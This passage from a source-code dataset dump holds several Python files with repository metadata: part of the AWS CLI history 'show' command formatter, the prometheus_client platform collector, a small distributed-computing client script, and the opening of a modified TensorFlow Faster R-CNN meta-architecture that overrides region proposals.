the key events in the command lifecycle where each ' 'important event has a title and its important values ' 'underneath. The events are ordered by timestamp and events of ' 'the same API call are associated together with the ' '[``api_id``] notation where events that share the same ' '``api_id`` belong to the lifecycle of the same API call.' '</li>' '</ul>' ) } ] def _run_main(self, parsed_args, parsed_globals): self._connect_to_history_db() try: self._validate_args(parsed_args) with self._get_output_stream() as output_stream: formatter = self._get_formatter( parsed_args, parsed_globals, output_stream) for record in self._get_record_iterator(parsed_args): formatter.display(record) finally: self._close_history_db() return 0 def _validate_args(self, parsed_args): if parsed_args.exclude and parsed_args.include: raise ValueError( 'Either --exclude or --include can be provided but not both') def _get_formatter(self, parsed_args, parsed_globals, output_stream): format_type = parsed_args.format formatter_kwargs = { 'include': parsed_args.include, 'exclude': parsed_args.exclude, 'output': output_stream } if format_type == 'detailed': formatter_kwargs['colorize'] = self._should_use_color( parsed_globals) return self.FORMATTERS[format_type](**formatter_kwargs) def _get_record_iterator(self, parsed_args): if parsed_args.command_id == 'latest': return self._db_reader.iter_latest_records() else: return self._db_reader.iter_records(parsed_args.command_id)

37.554745

79

0.586718

import datetime import json import sys import xml.parsers.expat import xml.dom.minidom import colorama from awscli.compat import six from awscli.customizations.history.commands import HistorySubcommand from awscli.customizations.history.filters import RegexFilter class Formatter(object): def __init__(self, output=None, include=None, exclude=None): self._output = output if self._output is None: self._output = sys.stdout if include and exclude: raise ValueError( 'Either input or exclude can be provided but not both') self._include = include self._exclude = exclude def display(self, event_record): if self._should_display(event_record): self._display(event_record) def _display(self, event_record): raise NotImplementedError('_display()') def _should_display(self, event_record): if self._include: return event_record['event_type'] in self._include elif self._exclude: return event_record['event_type'] not in self._exclude else: return True class DetailedFormatter(Formatter): _SIG_FILTER = RegexFilter( 'Signature=([a-z0-9]{4})[a-z0-9]{60}', r'Signature=\1...', ) _SECTIONS = { 'CLI_VERSION': { 'title': 'AWS CLI command entered', 'values': [ {'description': 'with AWS CLI version'} ] }, 'CLI_ARGUMENTS': { 'values': [ {'description': 'with arguments'} ] }, 'API_CALL': { 'title': 'API call made', 'values': [ { 'description': 'to service', 'payload_key': 'service' }, { 'description': 'using operation', 'payload_key': 'operation' }, { 'description': 'with parameters', 'payload_key': 'params', 'value_format': 'dictionary' } ] }, 'HTTP_REQUEST': { 'title': 'HTTP request sent', 'values': [ { 'description': 'to URL', 'payload_key': 'url' }, { 'description': 'with method', 'payload_key': 'method' }, { 'description': 'with headers', 'payload_key': 'headers', 'value_format': 'dictionary', 'filters': [_SIG_FILTER] }, { 'description': 'with body', 'payload_key': 'body', 'value_format': 'http_body' } ] }, 'HTTP_RESPONSE': { 'title': 'HTTP response received', 'values': [ { 'description': 'with status code', 'payload_key': 'status_code' }, { 'description': 'with headers', 'payload_key': 'headers', 'value_format': 'dictionary' }, { 'description': 'with body', 'payload_key': 'body', 'value_format': 'http_body' } ] }, 'PARSED_RESPONSE': { 'title': 'HTTP response parsed', 'values': [ { 'description': 'parsed to', 'value_format': 'dictionary' } ] }, 'CLI_RC': { 'title': 'AWS CLI command exited', 'values': [ {'description': 'with return code'} ] }, } _COMPONENT_COLORS = { 'title': colorama.Style.BRIGHT, 'description': colorama.Fore.CYAN } def __init__(self, output=None, include=None, exclude=None, colorize=True): super(DetailedFormatter, self).__init__(output, include, exclude) self._request_id_to_api_num = {} self._num_api_calls = 0 self._colorize = colorize self._value_pformatter = SectionValuePrettyFormatter() if self._colorize: colorama.init(autoreset=True, strip=False) def _display(self, event_record): section_definition = self._SECTIONS.get(event_record['event_type']) if section_definition is not None: self._display_section(event_record, section_definition) def _display_section(self, event_record, section_definition): if 'title' in section_definition: self._display_title(section_definition['title'], event_record) for value_definition in section_definition['values']: self._display_value(value_definition, event_record) def _display_title(self, title, event_record): formatted_title = self._format_section_title(title, event_record) self._write_output(formatted_title) def _display_value(self, value_definition, event_record): value_description = value_definition['description'] event_record_payload = event_record['payload'] value = event_record_payload if 'payload_key' in value_definition: value = event_record_payload[value_definition['payload_key']] formatted_value = self._format_description(value_description) formatted_value += self._format_value( value, event_record, value_definition.get('value_format') ) if 'filters' in value_definition: for text_filter in value_definition['filters']: formatted_value = text_filter.filter_text(formatted_value) self._write_output(formatted_value) def _write_output(self, content): if isinstance(content, six.text_type): content = content.encode('utf-8') self._output.write(content) def _format_section_title(self, title, event_record): formatted_title = title api_num = self._get_api_num(event_record) if api_num is not None: formatted_title = ('[%s] ' % api_num) + formatted_title formatted_title = self._color_if_configured(formatted_title, 'title') formatted_title += '\n' formatted_timestamp = self._format_description('at time') formatted_timestamp += self._format_value( event_record['timestamp'], event_record, value_format='timestamp') return '\n' + formatted_title + formatted_timestamp def _get_api_num(self, event_record): request_id = event_record['request_id'] if request_id: if request_id not in self._request_id_to_api_num: self._request_id_to_api_num[ request_id] = self._num_api_calls self._num_api_calls += 1 return self._request_id_to_api_num[request_id] def _format_description(self, value_description): return self._color_if_configured( value_description + ': ', 'description') def _format_value(self, value, event_record, value_format=None): if value_format: formatted_value = self._value_pformatter.pformat( value, value_format, event_record) else: formatted_value = str(value) return formatted_value + '\n' def _color_if_configured(self, text, component): if self._colorize: color = self._COMPONENT_COLORS[component] return color + text + colorama.Style.RESET_ALL return text class SectionValuePrettyFormatter(object): def pformat(self, value, value_format, event_record): return getattr(self, '_pformat_' + value_format)(value, event_record) def _pformat_timestamp(self, event_timestamp, event_record=None): return datetime.datetime.fromtimestamp( event_timestamp/1000.0).strftime('%Y-%m-%d %H:%M:%S.%f')[:-3] def _pformat_dictionary(self, obj, event_record=None): return json.dumps(obj=obj, sort_keys=True, indent=4) def _pformat_http_body(self, body, event_record): if not body: return 'There is no associated body' elif event_record['payload'].get('streaming', False): return 'The body is a stream and will not be displayed' elif self._is_xml(body): return self._get_pretty_xml(body) elif self._is_json_structure(body): return self._get_pretty_json(body) else: return body def _get_pretty_xml(self, body): stripped_body = self._strip_whitespace(body) xml_dom = xml.dom.minidom.parseString(stripped_body) return xml_dom.toprettyxml(indent=' '*4, newl='\n') def _get_pretty_json(self, body): obj = json.loads(body) return self._pformat_dictionary(obj) def _is_xml(self, body): try: xml.dom.minidom.parseString(body) except xml.parsers.expat.ExpatError: return False return True def _strip_whitespace(self, xml_string): xml_dom = xml.dom.minidom.parseString(xml_string) return ''.join( [line.strip() for line in xml_dom.toxml().splitlines()] ) def _is_json_structure(self, body): if body.startswith('{'): try: json.loads(body) return True except json.decoder.JSONDecodeError: return False return False class ShowCommand(HistorySubcommand): NAME = 'show' DESCRIPTION = ( 'Shows the various events related to running a specific CLI command. ' 'If this command is ran without any positional arguments, it will ' 'display the events for the last CLI command ran.' ) FORMATTERS = { 'detailed': DetailedFormatter } ARG_TABLE = [ {'name': 'command_id', 'nargs': '?', 'default': 'latest', 'positional_arg': True, 'help_text': ( 'The ID of the CLI command to show. If this positional argument ' 'is omitted, it will show the last the CLI command ran.')}, {'name': 'include', 'nargs': '+', 'help_text': ( 'Specifies which events to **only** include when showing the ' 'CLI command. This argument is mutually exclusive with ' '``--exclude``.')}, {'name': 'exclude', 'nargs': '+', 'help_text': ( 'Specifies which events to exclude when showing the ' 'CLI command. This argument is mutually exclusive with ' '``--include``.')}, {'name': 'format', 'choices': FORMATTERS.keys(), 'default': 'detailed', 'help_text': ( 'Specifies which format to use in showing the events for ' 'the specified CLI command. The following formats are ' 'supported:\n\n' '<ul>' '<li> detailed - This the default format. It prints out a ' 'detailed overview of the CLI command ran. It displays all ' 'of the key events in the command lifecycle where each ' 'important event has a title and its important values ' 'underneath. The events are ordered by timestamp and events of ' 'the same API call are associated together with the ' '[``api_id``] notation where events that share the same ' '``api_id`` belong to the lifecycle of the same API call.' '</li>' '</ul>' ) } ] def _run_main(self, parsed_args, parsed_globals): self._connect_to_history_db() try: self._validate_args(parsed_args) with self._get_output_stream() as output_stream: formatter = self._get_formatter( parsed_args, parsed_globals, output_stream) for record in self._get_record_iterator(parsed_args): formatter.display(record) finally: self._close_history_db() return 0 def _validate_args(self, parsed_args): if parsed_args.exclude and parsed_args.include: raise ValueError( 'Either --exclude or --include can be provided but not both') def _get_formatter(self, parsed_args, parsed_globals, output_stream): format_type = parsed_args.format formatter_kwargs = { 'include': parsed_args.include, 'exclude': parsed_args.exclude, 'output': output_stream } if format_type == 'detailed': formatter_kwargs['colorize'] = self._should_use_color( parsed_globals) return self.FORMATTERS[format_type](**formatter_kwargs) def _get_record_iterator(self, parsed_args): if parsed_args.command_id == 'latest': return self._db_reader.iter_latest_records() else: return self._db_reader.iter_records(parsed_args.command_id)

true

f70159d65a5bfff918de93d5a0e04e7f23f300b0

1,711

py

Python

Python/venv/lib/python3.7/site-packages/prometheus_client/platform_collector.py

HenriqueBuzin/TCC

5fb9db42e97e28131bff97da3252a9ee33b3684e

[ "Unlicense" ]

69

2019-02-18T12:07:35.000Z

2022-03-12T10:38:32.000Z

Python/venv/lib/python3.7/site-packages/prometheus_client/platform_collector.py

HenriqueBuzin/TCC

5fb9db42e97e28131bff97da3252a9ee33b3684e

[ "Unlicense" ]

12

2018-12-06T22:06:49.000Z

2022-02-25T17:40:44.000Z

Python/venv/lib/python3.7/site-packages/prometheus_client/platform_collector.py

HenriqueBuzin/TCC

5fb9db42e97e28131bff97da3252a9ee33b3684e

[ "Unlicense" ]

28

2019-03-22T01:07:13.000Z

2022-02-21T16:38:27.000Z

#!/usr/bin/env python # -*- coding: utf-8 from __future__ import unicode_literals import platform as pf from . import core class PlatformCollector(object): """Collector for python platform information""" def __init__(self, registry=core.REGISTRY, platform=None): self._platform = pf if platform is None else platform info = self._info() system = self._platform.system() if system == "Java": info.update(self._java()) self._metrics = [ self._add_metric("python_info", "Python platform information", info) ] if registry: registry.register(self) def collect(self): return self._metrics @staticmethod def _add_metric(name, documentation, data): labels = data.keys() values = [data[k] for k in labels] g = core.GaugeMetricFamily(name, documentation, labels=labels) g.add_metric(values, 1) return g def _info(self): major, minor, patchlevel = self._platform.python_version_tuple() return { "version": self._platform.python_version(), "implementation": self._platform.python_implementation(), "major": major, "minor": minor, "patchlevel": patchlevel } def _java(self): java_version, _, vminfo, osinfo = self._platform.java_ver() vm_name, vm_release, vm_vendor = vminfo return { "jvm_version": java_version, "jvm_release": vm_release, "jvm_vendor": vm_vendor, "jvm_name": vm_name } PLATFORM_COLLECTOR = PlatformCollector() """PlatformCollector in default Registry REGISTRY"""

29

80

0.613676

from __future__ import unicode_literals import platform as pf from . import core class PlatformCollector(object): def __init__(self, registry=core.REGISTRY, platform=None): self._platform = pf if platform is None else platform info = self._info() system = self._platform.system() if system == "Java": info.update(self._java()) self._metrics = [ self._add_metric("python_info", "Python platform information", info) ] if registry: registry.register(self) def collect(self): return self._metrics @staticmethod def _add_metric(name, documentation, data): labels = data.keys() values = [data[k] for k in labels] g = core.GaugeMetricFamily(name, documentation, labels=labels) g.add_metric(values, 1) return g def _info(self): major, minor, patchlevel = self._platform.python_version_tuple() return { "version": self._platform.python_version(), "implementation": self._platform.python_implementation(), "major": major, "minor": minor, "patchlevel": patchlevel } def _java(self): java_version, _, vminfo, osinfo = self._platform.java_ver() vm_name, vm_release, vm_vendor = vminfo return { "jvm_version": java_version, "jvm_release": vm_release, "jvm_vendor": vm_vendor, "jvm_name": vm_name } PLATFORM_COLLECTOR = PlatformCollector()

true

f70159fa731ebd5131cfc64b025fdad8ba885564

222

py

Python

client codes/client v2/node_free.py

nathaniel-security/Localhost-distributed-computing-engine

4643c22f563a969ccaf1062da17696819e00ab9a

[ "MIT" ]

null

client codes/client v2/node_free.py

nathaniel-security/Localhost-distributed-computing-engine

4643c22f563a969ccaf1062da17696819e00ab9a

[ "MIT" ]

null

client codes/client v2/node_free.py

nathaniel-security/Localhost-distributed-computing-engine

4643c22f563a969ccaf1062da17696819e00ab9a

[ "MIT" ]

null

from client_database_connection import mycursor import os sql = "INSERT INTO free_node (node_id) VALUES (%s)" val = (node_id) mycursor.execute(sql, val) command = 'python get_code_when_free.py' os.system(command)

24.666667

52

0.752252

from client_database_connection import mycursor import os sql = "INSERT INTO free_node (node_id) VALUES (%s)" val = (node_id) mycursor.execute(sql, val) command = 'python get_code_when_free.py' os.system(command)

true

f7015a05765804fec4cfa4d48e357987ad3578a0

114,236

py

Python

research/object_detection/meta_architectures/faster_rcnn_meta_arch_override_RPN.py

AXATechLab/models

c39ac760cfa6ce2339f5781f2a78d70db3ea5bb2

[ "Apache-2.0" ]

null

research/object_detection/meta_architectures/faster_rcnn_meta_arch_override_RPN.py

AXATechLab/models

c39ac760cfa6ce2339f5781f2a78d70db3ea5bb2

[ "Apache-2.0" ]

null

research/object_detection/meta_architectures/faster_rcnn_meta_arch_override_RPN.py

AXATechLab/models

c39ac760cfa6ce2339f5781f2a78d70db3ea5bb2

[ "Apache-2.0" ]

null

# Copyright 2017 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Faster R-CNN meta-architecture definition. General tensorflow implementation of Faster R-CNN detection models. See Faster R-CNN: Ren, Shaoqing, et al. "Faster R-CNN: Towards real-time object detection with region proposal networks." Advances in neural information processing systems. 2015. We allow for three modes: number_of_stages={1, 2, 3}. In case of 1 stage, all of the user facing methods (e.g., predict, postprocess, loss) can be used as if the model consisted only of the RPN, returning class agnostic proposals (these can be thought of as approximate detections with no associated class information). In case of 2 stages, proposals are computed, then passed through a second stage "box classifier" to yield (multi-class) detections. Finally, in case of 3 stages which is only used during eval, proposals are computed, then passed through a second stage "box classifier" that will compute refined boxes and classes, and then features are pooled from the refined and non-maximum suppressed boxes and are passed through the box classifier again. If number of stages is 3 during training it will be reduced to two automatically. Implementations of Faster R-CNN models must define a new FasterRCNNFeatureExtractor and override three methods: `preprocess`, `_extract_proposal_features` (the first stage of the model), and `_extract_box_classifier_features` (the second stage of the model). Optionally, the `restore_fn` method can be overridden. See tests for an example. A few important notes: + Batching conventions: We support batched inference and training where all images within a batch have the same resolution. Batch sizes are determined dynamically via the shape of the input tensors (rather than being specified directly as, e.g., a model constructor). A complication is that due to non-max suppression, we are not guaranteed to get the same number of proposals from the first stage RPN (region proposal network) for each image (though in practice, we should often get the same number of proposals). For this reason we pad to a max number of proposals per image within a batch. This `self.max_num_proposals` property is set to the `first_stage_max_proposals` parameter at inference time and the `second_stage_batch_size` at training time since we subsample the batch to be sent through the box classifier during training. For the second stage of the pipeline, we arrange the proposals for all images within the batch along a single batch dimension. For example, the input to _extract_box_classifier_features is a tensor of shape `[total_num_proposals, crop_height, crop_width, depth]` where total_num_proposals is batch_size * self.max_num_proposals. (And note that per the above comment, a subset of these entries correspond to zero paddings.) + Coordinate representations: Following the API (see model.DetectionModel definition), our outputs after postprocessing operations are always normalized boxes however, internally, we sometimes convert to absolute --- e.g. for loss computation. In particular, anchors and proposal_boxes are both represented as absolute coordinates. Images are resized in the `preprocess` method. The Faster R-CNN meta architecture has two post-processing methods `_postprocess_rpn` which is applied after first stage and `_postprocess_box_classifier` which is applied after second stage. There are three different ways post-processing can happen depending on number_of_stages configured in the meta architecture: 1. When number_of_stages is 1: `_postprocess_rpn` is run as part of the `postprocess` method where true_image_shapes is used to clip proposals, perform non-max suppression and normalize them. 2. When number of stages is 2: `_postprocess_rpn` is run as part of the `_predict_second_stage` method where `resized_image_shapes` is used to clip proposals, perform non-max suppression and normalize them. In this case `postprocess` method skips `_postprocess_rpn` and only runs `_postprocess_box_classifier` using `true_image_shapes` to clip detections, perform non-max suppression and normalize them. 3. When number of stages is 3: `_postprocess_rpn` is run as part of the `_predict_second_stage` using `resized_image_shapes` to clip proposals, perform non-max suppression and normalize them. Subsequently, `_postprocess_box_classifier` is run as part of `_predict_third_stage` using `true_image_shapes` to clip detections, peform non-max suppression and normalize them. In this case, the `postprocess` method skips both `_postprocess_rpn` and `_postprocess_box_classifier`. """ from abc import abstractmethod from functools import partial import tensorflow as tf import json import numpy as np from object_detection.anchor_generators import grid_anchor_generator from object_detection.builders import box_predictor_builder from object_detection.core import box_list from object_detection.core import box_list_ops from object_detection.core import box_predictor from object_detection.core import losses from object_detection.core import model from object_detection.core import post_processing from object_detection.core import standard_fields as fields from object_detection.core import target_assigner from object_detection.utils import ops from object_detection.utils import shape_utils import sys # for debug sys.path.append("/notebooks/text-renderer/") import data_util slim = tf.contrib.slim class FasterRCNNFeatureExtractor(object): """Faster R-CNN Feature Extractor definition.""" def __init__(self, is_training, first_stage_features_stride, batch_norm_trainable=False, reuse_weights=None, weight_decay=0.0): """Constructor. Args: is_training: A boolean indicating whether the training version of the computation graph should be constructed. first_stage_features_stride: Output stride of extracted RPN feature map. batch_norm_trainable: Whether to update batch norm parameters during training or not. When training with a relative large batch size (e.g. 8), it could be desirable to enable batch norm update. reuse_weights: Whether to reuse variables. Default is None. weight_decay: float weight decay for feature extractor (default: 0.0). """ self._is_training = is_training self._first_stage_features_stride = first_stage_features_stride self._train_batch_norm = (batch_norm_trainable and is_training) self._reuse_weights = reuse_weights self._weight_decay = weight_decay @abstractmethod def preprocess(self, resized_inputs): """Feature-extractor specific preprocessing (minus image resizing).""" pass def extract_proposal_features(self, preprocessed_inputs, scope): """Extracts first stage RPN features. This function is responsible for extracting feature maps from preprocessed images. These features are used by the region proposal network (RPN) to predict proposals. Args: preprocessed_inputs: A [batch, height, width, channels] float tensor representing a batch of images. scope: A scope name. Returns: rpn_feature_map: A tensor with shape [batch, height, width, depth] activations: A dictionary mapping activation tensor names to tensors. """ with tf.variable_scope(scope, values=[preprocessed_inputs]): return self._extract_proposal_features(preprocessed_inputs, scope) @abstractmethod def _extract_proposal_features(self, preprocessed_inputs, scope): """Extracts first stage RPN features, to be overridden.""" pass def extract_box_classifier_features(self, proposal_feature_maps, scope): """Extracts second stage box classifier features. Args: proposal_feature_maps: A 4-D float tensor with shape [batch_size * self.max_num_proposals, crop_height, crop_width, depth] representing the feature map cropped to each proposal. scope: A scope name. Returns: proposal_classifier_features: A 4-D float tensor with shape [batch_size * self.max_num_proposals, height, width, depth] representing box classifier features for each proposal. """ with tf.variable_scope( scope, values=[proposal_feature_maps], reuse=tf.AUTO_REUSE): return self._extract_box_classifier_features(proposal_feature_maps, scope) @abstractmethod def _extract_box_classifier_features(self, proposal_feature_maps, scope): """Extracts second stage box classifier features, to be overridden.""" pass def restore_from_classification_checkpoint_fn( self, first_stage_feature_extractor_scope, second_stage_feature_extractor_scope): """Returns a map of variables to load from a foreign checkpoint. Args: first_stage_feature_extractor_scope: A scope name for the first stage feature extractor. second_stage_feature_extractor_scope: A scope name for the second stage feature extractor. Returns: A dict mapping variable names (to load from a checkpoint) to variables in the model graph. """ variables_to_restore = {} for variable in tf.global_variables(): for scope_name in [first_stage_feature_extractor_scope, second_stage_feature_extractor_scope]: if variable.op.name.startswith(scope_name): var_name = variable.op.name.replace(scope_name + '/', '') variables_to_restore[var_name] = variable return variables_to_restore class FasterRCNNMetaArchOverrideRPN(model.DetectionModel): """Faster R-CNN Meta-architecture definition.""" def __init__(self, is_training, num_classes, image_resizer_fn, feature_extractor, number_of_stages, first_stage_anchor_generator, first_stage_target_assigner, first_stage_atrous_rate, first_stage_box_predictor_arg_scope_fn, first_stage_box_predictor_kernel_size, first_stage_box_predictor_depth, first_stage_minibatch_size, first_stage_sampler, first_stage_nms_score_threshold, first_stage_nms_iou_threshold, first_stage_max_proposals, first_stage_proposals_path, first_stage_localization_loss_weight, first_stage_objectness_loss_weight, initial_crop_size, maxpool_kernel_size, maxpool_stride, second_stage_target_assigner, second_stage_mask_rcnn_box_predictor, second_stage_batch_size, second_stage_sampler, second_stage_non_max_suppression_fn, second_stage_score_conversion_fn, second_stage_localization_loss_weight, second_stage_classification_loss_weight, second_stage_classification_loss, second_stage_mask_prediction_loss_weight=1.0, hard_example_miner=None, parallel_iterations=16, add_summaries=True, use_matmul_crop_and_resize=False, clip_anchors_to_image=False): """FasterRCNNMetaArch Constructor. Args: is_training: A boolean indicating whether the training version of the computation graph should be constructed. num_classes: Number of classes. Note that num_classes *does not* include the background category, so if groundtruth labels take values in {0, 1, .., K-1}, num_classes=K (and not K+1, even though the assigned classification targets can range from {0,... K}). image_resizer_fn: A callable for image resizing. This callable takes a rank-3 image tensor of shape [height, width, channels] (corresponding to a single image), an optional rank-3 instance mask tensor of shape [num_masks, height, width] and returns a resized rank-3 image tensor, a resized mask tensor if one was provided in the input. In addition this callable must also return a 1-D tensor of the form [height, width, channels] containing the size of the true image, as the image resizer can perform zero padding. See protos/image_resizer.proto. feature_extractor: A FasterRCNNFeatureExtractor object. number_of_stages: An integer values taking values in {1, 2, 3}. If 1, the function will construct only the Region Proposal Network (RPN) part of the model. If 2, the function will perform box refinement and other auxiliary predictions all in the second stage. If 3, it will extract features from refined boxes and perform the auxiliary predictions on the non-maximum suppressed refined boxes. If is_training is true and the value of number_of_stages is 3, it is reduced to 2 since all the model heads are trained in parallel in second stage during training. first_stage_anchor_generator: An anchor_generator.AnchorGenerator object (note that currently we only support grid_anchor_generator.GridAnchorGenerator objects) first_stage_target_assigner: Target assigner to use for first stage of Faster R-CNN (RPN). first_stage_atrous_rate: A single integer indicating the atrous rate for the single convolution op which is applied to the `rpn_features_to_crop` tensor to obtain a tensor to be used for box prediction. Some feature extractors optionally allow for producing feature maps computed at denser resolutions. The atrous rate is used to compensate for the denser feature maps by using an effectively larger receptive field. (This should typically be set to 1). first_stage_box_predictor_arg_scope_fn: A function to construct tf-slim arg_scope for conv2d, separable_conv2d and fully_connected ops for the RPN box predictor. first_stage_box_predictor_kernel_size: Kernel size to use for the convolution op just prior to RPN box predictions. first_stage_box_predictor_depth: Output depth for the convolution op just prior to RPN box predictions. first_stage_minibatch_size: The "batch size" to use for computing the objectness and location loss of the region proposal network. This "batch size" refers to the number of anchors selected as contributing to the loss function for any given image within the image batch and is only called "batch_size" due to terminology from the Faster R-CNN paper. first_stage_sampler: Sampler to use for first stage loss (RPN loss). first_stage_nms_score_threshold: Score threshold for non max suppression for the Region Proposal Network (RPN). This value is expected to be in [0, 1] as it is applied directly after a softmax transformation. The recommended value for Faster R-CNN is 0. first_stage_nms_iou_threshold: The Intersection Over Union (IOU) threshold for performing Non-Max Suppression (NMS) on the boxes predicted by the Region Proposal Network (RPN). first_stage_max_proposals: Maximum number of boxes to retain after performing Non-Max Suppression (NMS) on the boxes predicted by the Region Proposal Network (RPN). first_stage_localization_loss_weight: A float first_stage_objectness_loss_weight: A float initial_crop_size: A single integer indicating the output size (width and height are set to be the same) of the initial bilinear interpolation based cropping during ROI pooling. maxpool_kernel_size: A single integer indicating the kernel size of the max pool op on the cropped feature map during ROI pooling. maxpool_stride: A single integer indicating the stride of the max pool op on the cropped feature map during ROI pooling. second_stage_target_assigner: Target assigner to use for second stage of Faster R-CNN. If the model is configured with multiple prediction heads, this target assigner is used to generate targets for all heads (with the correct `unmatched_class_label`). second_stage_mask_rcnn_box_predictor: Mask R-CNN box predictor to use for the second stage. second_stage_batch_size: The batch size used for computing the classification and refined location loss of the box classifier. This "batch size" refers to the number of proposals selected as contributing to the loss function for any given image within the image batch and is only called "batch_size" due to terminology from the Faster R-CNN paper. second_stage_sampler: Sampler to use for second stage loss (box classifier loss). second_stage_non_max_suppression_fn: batch_multiclass_non_max_suppression callable that takes `boxes`, `scores`, optional `clip_window` and optional (kwarg) `mask` inputs (with all other inputs already set) and returns a dictionary containing tensors with keys: `detection_boxes`, `detection_scores`, `detection_classes`, `num_detections`, and (optionally) `detection_masks`. See `post_processing.batch_multiclass_non_max_suppression` for the type and shape of these tensors. second_stage_score_conversion_fn: Callable elementwise nonlinearity (that takes tensors as inputs and returns tensors). This is usually used to convert logits to probabilities. second_stage_localization_loss_weight: A float indicating the scale factor for second stage localization loss. second_stage_classification_loss_weight: A float indicating the scale factor for second stage classification loss. second_stage_classification_loss: Classification loss used by the second stage classifier. Either losses.WeightedSigmoidClassificationLoss or losses.WeightedSoftmaxClassificationLoss. second_stage_mask_prediction_loss_weight: A float indicating the scale factor for second stage mask prediction loss. This is applicable only if second stage box predictor is configured to predict masks. hard_example_miner: A losses.HardExampleMiner object (can be None). parallel_iterations: (Optional) The number of iterations allowed to run in parallel for calls to tf.map_fn. add_summaries: boolean (default: True) controlling whether summary ops should be added to tensorflow graph. use_matmul_crop_and_resize: Force the use of matrix multiplication based crop and resize instead of standard tf.image.crop_and_resize while computing second stage input feature maps. clip_anchors_to_image: Normally, anchors generated for a given image size are pruned during training if they lie outside the image window. This option clips the anchors to be within the image instead of pruning. Raises: ValueError: If `second_stage_batch_size` > `first_stage_max_proposals` at training time. ValueError: If first_stage_anchor_generator is not of type grid_anchor_generator.GridAnchorGenerator. """ # TODO(rathodv): add_summaries is currently unused. Respect that directive # in the future. print("Running FasterRCNN with overriden RPN") super(FasterRCNNMetaArchOverrideRPN, self).__init__(num_classes=num_classes) # There is no RPN in this implementation! if (number_of_stages==1): raise ValueError('Number of stages = 1 is not allowed for overriden RPN proposals') if is_training and second_stage_batch_size > first_stage_max_proposals: raise ValueError('second_stage_batch_size should be no greater than ' 'first_stage_max_proposals.') if not isinstance(first_stage_anchor_generator, grid_anchor_generator.GridAnchorGenerator): raise ValueError('first_stage_anchor_generator must be of type ' 'grid_anchor_generator.GridAnchorGenerator.') # Michele: Proposals that override the RPN first_stage_proposals_path = os.path.join(first_stage_proposals_path, '') xml_root = data_util.read_xml_batch(first_stage_proposals_path)[0]['annot'] _, self.proposals = data_util.xml_to_numpy(None, xml_root) print("Shape of overriding proposals",self.proposals.shape) self._is_training = is_training self._image_resizer_fn = image_resizer_fn self._feature_extractor = feature_extractor self._number_of_stages = number_of_stages self._proposal_target_assigner = first_stage_target_assigner self._detector_target_assigner = second_stage_target_assigner # Both proposal and detector target assigners use the same box coder self._box_coder = self._proposal_target_assigner.box_coder # (First stage) Region proposal network parameters self._first_stage_anchor_generator = first_stage_anchor_generator self._first_stage_atrous_rate = first_stage_atrous_rate self._first_stage_box_predictor_arg_scope_fn = ( first_stage_box_predictor_arg_scope_fn) self._first_stage_box_predictor_kernel_size = ( first_stage_box_predictor_kernel_size) self._first_stage_box_predictor_depth = first_stage_box_predictor_depth self._first_stage_minibatch_size = first_stage_minibatch_size self._first_stage_sampler = first_stage_sampler self._first_stage_box_predictor = ( box_predictor_builder.build_convolutional_box_predictor( is_training=self._is_training, num_classes=1, conv_hyperparams_fn=self._first_stage_box_predictor_arg_scope_fn, use_dropout=False, dropout_keep_prob=1.0, box_code_size=self._box_coder.code_size, kernel_size=1, num_layers_before_predictor=0, min_depth=0, max_depth=0)) self._first_stage_nms_score_threshold = first_stage_nms_score_threshold self._first_stage_nms_iou_threshold = first_stage_nms_iou_threshold self._first_stage_max_proposals = first_stage_max_proposals self._first_stage_localization_loss = ( losses.WeightedSmoothL1LocalizationLoss()) self._first_stage_objectness_loss = ( losses.WeightedSoftmaxClassificationLoss()) self._first_stage_loc_loss_weight = first_stage_localization_loss_weight self._first_stage_obj_loss_weight = first_stage_objectness_loss_weight # Per-region cropping parameters self._initial_crop_size = initial_crop_size self._maxpool_kernel_size = maxpool_kernel_size self._maxpool_stride = maxpool_stride self._mask_rcnn_box_predictor = second_stage_mask_rcnn_box_predictor self._second_stage_batch_size = second_stage_batch_size self._second_stage_sampler = second_stage_sampler self._second_stage_nms_fn = second_stage_non_max_suppression_fn self._second_stage_score_conversion_fn = second_stage_score_conversion_fn self._second_stage_localization_loss = ( losses.WeightedSmoothL1LocalizationLoss()) self._second_stage_classification_loss = second_stage_classification_loss self._second_stage_mask_loss = ( losses.WeightedSigmoidClassificationLoss()) self._second_stage_loc_loss_weight = second_stage_localization_loss_weight self._second_stage_cls_loss_weight = second_stage_classification_loss_weight self._second_stage_mask_loss_weight = ( second_stage_mask_prediction_loss_weight) self._use_matmul_crop_and_resize = use_matmul_crop_and_resize self._hard_example_miner = hard_example_miner self._parallel_iterations = parallel_iterations self.clip_anchors_to_image = clip_anchors_to_image if self._number_of_stages <= 0 or self._number_of_stages > 3: raise ValueError('Number of stages should be a value in {1, 2, 3}.') @property def first_stage_feature_extractor_scope(self): return 'FirstStageFeatureExtractor' @property def second_stage_feature_extractor_scope(self): return 'SecondStageFeatureExtractor' @property def first_stage_box_predictor_scope(self): return 'FirstStageBoxPredictor' @property def second_stage_box_predictor_scope(self): return 'SecondStageBoxPredictor' @property def max_num_proposals(self): """Max number of proposals (to pad to) for each image in the input batch. At training time, this is set to be the `second_stage_batch_size` if hard example miner is not configured, else it is set to `first_stage_max_proposals`. At inference time, this is always set to `first_stage_max_proposals`. Returns: A positive integer. """ if self._is_training and not self._hard_example_miner: return self._second_stage_batch_size #return self._first_stage_max_proposals return self.proposals.shape[1] @property def anchors(self): if not self._anchors: raise RuntimeError('anchors have not been constructed yet!') if not isinstance(self._anchors, box_list.BoxList): raise RuntimeError('anchors should be a BoxList object, but is not.') return self._anchors def preprocess(self, inputs): """Feature-extractor specific preprocessing. See base class. For Faster R-CNN, we perform image resizing in the base class --- each class subclassing FasterRCNNMetaArch is responsible for any additional preprocessing (e.g., scaling pixel values to be in [-1, 1]). Args: inputs: a [batch, height_in, width_in, channels] float tensor representing a batch of images with values between 0 and 255.0. Returns: preprocessed_inputs: a [batch, height_out, width_out, channels] float tensor representing a batch of images. true_image_shapes: int32 tensor of shape [batch, 3] where each row is of the form [height, width, channels] indicating the shapes of true images in the resized images, as resized images can be padded with zeros. Raises: ValueError: if inputs tensor does not have type tf.float32 """ if inputs.dtype is not tf.float32: raise ValueError('`preprocess` 